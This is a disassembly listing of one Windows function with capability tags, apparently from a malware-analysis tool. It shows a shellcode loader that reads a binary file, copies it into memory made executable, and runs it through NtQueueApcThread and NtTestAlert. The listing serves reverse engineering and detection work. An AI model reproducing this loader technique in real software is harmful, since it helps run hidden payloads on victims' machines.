Function at 0x1400010c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQueueApcThread
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtTestAlert
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx edx, byte [str.VirtualAlloc]
lea rcx, [0x14000347c]
xor r12d, r12d
mov r15, rax
mov dword [rsp + 0x30], r12d
call fcn.140001060
lea rdx, [0x140003418]
lea rcx, [0x140003480]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
xor edx, edx
lea r8d, [r12 + 2]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, rdi
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov qword [0x140005720], rbx
test rbx, rbx
jne 0x14000119b
mov qword [0x140005718], r12
jmp 0x14000122a
lea rdx, [0x140003418]
lea rcx, [0x140003480]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
test rax, rax
jne 0x1400011cc
lea rcx, str.Binary_file_does_not_exists__n
call fcn.140001060
mov qword [0x140005718], r12
jmp 0x14000122a
mov rcx, qword [0x140005720]
call fcn.1400016c8
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov r8, qword [0x140005720]
mov r9, rsi
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rbx, rbx
jne 0x14000121e
mov rcx, rdi
call fcn.1400016c0
mov qword [0x140005718], r12
jmp 0x14000122a
mov qword [0x140005718], rdi
test rdi, rdi
jne 0x14000123d
lea rdx, [0x140003480]
lea rcx, str.Failed_to_read_binary_data_from_file__s_n
call fcn.140001060
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x100
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, 1
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [0x140005720]
mov r9d, 4
mov r8d, 0x1000
xor ecx, ecx
call qword [0x140005730]
mov rdx, qword [0x140005720]
mov r9d, 4
mov r8d, 0x1000
xor ecx, ecx
mov rsi, rax
call qword [0x140005730]
mov rbp, rax
test rdi, rdi
je 0x1400012ff
lea rdx, str.Hello__world_
mov r8, rdi
sub r8, rdx
nop
movzx ecx, byte [rdx]
mov byte [r8 + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400012b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.String_copied_to_allocated_memory:
call fcn.140001410
mov rcx, rax
mov rdx, rdi
call fcn.140001410
mov rcx, rax
lea rdx, [0x1400015e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, qword [0x140005720]
mov rdx, rdi
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, qword [0x140005720]
mov rcx, rbp
mov rdx, qword [0x140005718]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi]
mov rcx, rbp
mov rdx, qword [0x140005718]
mov qword [rsi], rax
mov r8, qword [0x140005720]
call sub.VCRUNTIME140.dll_memmove
mov rdx, qword [0x140005720]
lea r9, [rsp + 0x30]
mov r8d, 0x20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001376
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
mov rcx, rax
xor r8d, r8d
mov rdx, rsi
call r14
lea rcx, str.aaaa_n
call fcn.140001060
mov rdx, qword [0x140005720]
lea r9, [rsp + 0x30]
mov r8d, 0x20
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x64
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
je 0x1400013bf
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
mov rcx, rax
xor r8d, r8d
mov rdx, rbp
call r14
call r15
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rdx, qword [0x140005720]
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400016a0
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret